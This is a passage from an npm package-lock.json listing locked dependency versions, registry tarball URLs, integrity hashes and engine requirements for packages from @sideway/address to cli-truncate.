"https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", "dev": true, "dependencies": { "@hapi/hoek": "^9.0.0" } }, "node_modules/@sideway/formula": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", "dev": true }, "node_modules/@sideway/pinpoint": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", "dev": true }, "node_modules/@textlint/ast-node-types": { "version": "12.2.2", "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-12.2.2.tgz", "integrity": "sha512-VQAXUSGdmEajHXrMxeM9ZTS8UBJSVB0ghJFHpFfqYKlcDsjIqClSmTprY6521HoCoSLoUIGBxTC3jQyUMJFIWw==" }, "node_modules/@textlint/markdown-to-ast": { "version": "12.2.2", "resolved": "https://registry.npmjs.org/@textlint/markdown-to-ast/-/markdown-to-ast-12.2.2.tgz", "integrity": "sha512-OP0cnGCzt8Bbfhn8fO/arQSHBhmuXB4maSXH8REJAtKRpTADWOrbuxAOaI9mjQ7EMTDiml02RZ9MaELQAWAsqQ==", "dependencies": { "@textlint/ast-node-types": "^12.2.2", "debug": "^4.3.4", "mdast-util-gfm-autolink-literal": "^0.1.0", "remark-footnotes": "^3.0.0", "remark-frontmatter": "^3.0.0", "remark-gfm": "^1.0.0", "remark-parse": "^9.0.0", "traverse": "^0.6.6", "unified": "^9.2.2" } }, "node_modules/@textlint/markdown-to-ast/node_modules/debug": { "version": "4.3.4", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", "dependencies": { "ms": "2.1.2" }, "engines": { "node": ">=6.0" }, "peerDependenciesMeta": { "supports-color": { "optional": true } } }, "node_modules/@types/glob": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz", "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", "dev": true, "dependencies": { "@types/minimatch": "*", "@types/node": "*" } }, "node_modules/@types/mdast": { "version": "3.0.10", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", "dependencies": { "@types/unist": "*" } }, "node_modules/@types/minimatch": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz", "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", "dev": true }, "node_modules/@types/minimist": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==" }, "node_modules/@types/node": { "version": "14.17.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.5.tgz", "integrity": "sha512-bjqH2cX/O33jXT/UmReo2pM7DIJREPMnarixbQ57DOOzzFaI6D2+IcwaJQaJpv0M1E9TIhPCYVxrkcityLjlqA==", "dev": true }, "node_modules/@types/normalize-package-data": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==" }, "node_modules/@types/sinonjs__fake-timers": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.1.tgz", "integrity": "sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g==", "dev": true }, "node_modules/@types/sizzle": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==", "dev": true }, "node_modules/@types/unist": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==" }, "node_modules/@types/yauzl": { "version": "2.9.2", "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz", "integrity": "sha512-8uALY5LTvSuHgloDVUvWP3pIauILm+8/0pDMokuDYIoNsOkSwd5AiHBTSEJjKTDcZr5z8UpgOWZkxBF4iJftoA==", "dev": true, "optional": true, "dependencies": { "@types/node": "*" } }, "node_modules/abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", "dev": true }, "node_modules/acorn": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", "dev": true, "bin": { "acorn": "bin/acorn" }, "engines": { "node": ">=0.4.0" } }, "node_modules/acorn-jsx": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.0.1.tgz", "integrity": "sha512-HJ7CfNHrfJLlNTzIEUTj43LNWGkqpRLxm3YjAlcD0ACydk9XynzYsCBHxut+iqt+1aBXkx9UP/w/ZqMr13XIzg==", "dev": true }, "node_modules/add-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/add-stream/-/add-stream-1.0.0.tgz", "integrity": "sha512-qQLMr+8o0WC4FZGQTcJiKBVC59JylcPSrTtk6usvmIDFUOCKegapy1VHQwRbFMOFyb/inzUVqHs+eMYKDM1YeQ==" }, "node_modules/aggregate-error": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", "dev": true, "dependencies": { "clean-stack": "^2.0.0", "indent-string": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/ajv": { "version": "6.12.6", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" }, "funding": { "type": "github", "url": "https://github.com/sponsors/epoberezkin" } }, "node_modules/ajv-keywords": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.0.tgz", "integrity": "sha512-aUjdRFISbuFOl0EIZc+9e4FfZp0bDZgAdOOf30bJmw8VM9v84SHyVyxDfbWxpGYbdZD/9XoKxfHVNmxPkhwyGw==", "dev": true }, "node_modules/anchor-markdown-header": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/anchor-markdown-header/-/anchor-markdown-header-0.6.0.tgz", "integrity": "sha512-v7HJMtE1X7wTpNFseRhxsY/pivP4uAJbidVhPT+yhz4i/vV1+qx371IXuV9V7bN6KjFtheLJxqaSm0Y/8neJTA==", "dependencies": { "emoji-regex": "~10.1.0" } }, "node_modules/anchor-markdown-header/node_modules/emoji-regex": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.1.0.tgz", "integrity": "sha512-xAEnNCT3w2Tg6MA7ly6QqYJvEoY1tm9iIjJ3yMKK9JPlWuRHAMoe5iETwQnx3M9TVbFMfsrBgWKR+IsmswwNjg==" }, "node_modules/ansi-colors": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/ansi-escapes": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/ansi-styles": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/arch": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz", "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", "dev": true, "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ] }, "node_modules/argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", "dev": true, "dependencies": { "sprintf-js": "~1.0.2" } }, "node_modules/array-find-index": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", "integrity": "sha512-M1HQyIXcBGtVywBt8WVdim+lrNaK7VHp99Qt5pSNziXznKHViIBbXWtfRTpEFpF/c4FdfxNAsCCwPp5phBYJtw==", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/array-ify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/array-ify/-/array-ify-1.0.0.tgz", "integrity": "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==" }, "node_modules/array-includes": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.0.3.tgz", "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", "dev": true, "dependencies": { "define-properties": "^1.1.2", "es-abstract": "^1.7.0" }, "engines": { "node": ">= 0.4" } }, "node_modules/array-union": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/arrify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", "integrity": "sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==", "engines": { "node": ">=0.10.0" } }, "node_modules/asap": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", "dev": true }, "node_modules/asn1": { "version": "0.2.4", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", "dev": true, "dependencies": { "safer-buffer": "~2.1.0" } }, "node_modules/assert-plus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", "dev": true, "engines": { "node": ">=0.8" } }, "node_modules/astral-regex": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/async": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/async/-/async-3.2.3.tgz", "integrity": "sha512-spZRyzKL5l5BZQrr/6m/SqFdBN0q3OCI0f9rjfBzCMBIP4p75P620rR3gTmaksNOhmzgdxcaxdNfMy6anrbM0g==", "dev": true }, "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "node_modules/at-least-node": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", "dev": true, "engines": { "node": ">= 4.0.0" } }, "node_modules/aws-sign2": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", "dev": true, "engines": { "node": "*" } }, "node_modules/aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==", "dev": true }, "node_modules/axios": { "version": "0.27.2", "resolved": "https://registry.npmjs.org/axios/-/axios-0.27.2.tgz", "integrity": "sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==", "dependencies": { "follow-redirects": "^1.14.9", "form-data": "^4.0.0" } }, "node_modules/axios/node_modules/form-data": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "mime-types": "^2.1.12" }, "engines": { "node": ">= 6" } }, "node_modules/babel-code-frame": { "version": "6.26.0", "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "dependencies": { "chalk": "^1.1.3", "esutils": "^2.0.2", "js-tokens": "^3.0.2" } }, "node_modules/babel-code-frame/node_modules/chalk": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", "dev": true, "dependencies": { "ansi-styles": "^2.2.1", "escape-string-regexp": "^1.0.2", "has-ansi": "^2.0.0", "strip-ansi": "^3.0.0", "supports-color": "^2.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/babel-code-frame/node_modules/supports-color": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", "dev": true, "engines": { "node": ">=0.8.0" } }, "node_modules/bail": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" }, "node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ] }, "node_modules/bcrypt-pbkdf": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", "dev": true, "dependencies": { "tweetnacl": "^0.14.3" } }, "node_modules/bl": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", "dependencies": { "buffer": "^5.5.0", "inherits": "^2.0.4", "readable-stream": "^3.4.0" } }, "node_modules/blob-util": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/blob-util/-/blob-util-2.0.2.tgz", "integrity": "sha512-T7JQa+zsXXEa6/8ZhHcQEW1UFfVM49Ts65uBkFL6fz2QmrElqmbajIDJvuA0tEhRe5eIjpV9ZF+0RfZR9voJFQ==", "dev": true }, "node_modules/bluebird": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", "dev": true }, "node_modules/brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "node_modules/braces": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", "dev": true, "dependencies": { "fill-range": "^7.0.1" }, "engines": { "node": ">=8" } }, "node_modules/buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ], "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "node_modules/buffer-crc32": { "version": "0.2.13", "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", "dev": true, "engines": { "node": "*" } }, "node_modules/buffer-equal-constant-time": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", "integrity": "sha1-+OcRMvf/5uAaXJaXpMbz5I1cyBk=", "dev": true }, "node_modules/cachedir": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz", "integrity": "sha512-A+Fezp4zxnit6FanDmv9EqXNAi3vt9DWp51/71UEhXukb7QUuvtv9344h91dyAxuTLoSYJFU299qzR3tzwPAhw==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/call-bind": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", "dev": true, "dependencies": { "function-bind": "^1.1.1", "get-intrinsic": "^1.0.2" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/caller-path": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", "dev": true, "dependencies": { "callsites": "^0.2.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/callsites": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "engines": { "node": ">=6" } }, "node_modules/camelcase-keys": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", "dependencies": { "camelcase": "^5.3.1", "map-obj": "^4.0.0", "quick-lru": "^4.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", "dev": true }, "node_modules/ccount": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz", "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dependencies": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", "supports-color": "^5.3.0" }, "engines": { "node": ">=4" } }, "node_modules/chalk/node_modules/ansi-styles": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dependencies": { "color-convert": "^1.9.0" }, "engines": { "node": ">=4" } }, "node_modules/character-entities": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/character-entities-legacy": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/character-reference-invalid": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/chardet": { "version": "0.4.2", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", "dev": true }, "node_modules/check-more-types": { "version": "2.24.0", "resolved": "https://registry.npmjs.org/check-more-types/-/check-more-types-2.24.0.tgz", "integrity": "sha1-FCD/sQ/URNz8ebQ4kbv//TKoRgA=", "dev": true, "engines": { "node": ">= 0.8.0" } }, "node_modules/ci-info": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.2.0.tgz", "integrity": "sha512-dVqRX7fLUm8J6FgHJ418XuIgDLZDkYcDFTeL6TA2gt5WlIZUQrrH6EZrNClwT/H0FateUsZkGIOPRrLbP+PR9A==", "dev": true }, "node_modules/circular-json": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", "integrity": "sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==", "dev": true }, "node_modules/clean-stack": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", "dev": true, "engines": { "node": ">=6" } }, "node_modules/cli-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", "dependencies": { "restore-cursor": "^3.1.0" }, "engines": { "node": ">=8" } }, "node_modules/cli-spinners": { "version": "2.8.0", "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.8.0.tgz", "integrity": "sha512-/eG5sJcvEIwxcdYM86k5tPwn0MUzkX5YY3eImTGpJOZgVe4SdTMY14vQpcxgBzJ0wXwAYrS8E+c3uHeK4JNyzQ==", "engines": { "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/cli-table3": { "version": "0.6.2", "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.2.tgz", "integrity": "sha512-QyavHCaIC80cMivimWu4aWHilIpiDpfm3hGmqAmXVL1UsnbLuBSMd21hTX6VY4ZSDSM73ESLeF8TOYId3rBTbw==", "dev": true, "dependencies": { "string-width": "^4.2.0" }, "engines": { "node": "10.* || >= 12.*" }, "optionalDependencies": { "@colors/colors": "1.5.0" } }, "node_modules/cli-truncate": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", 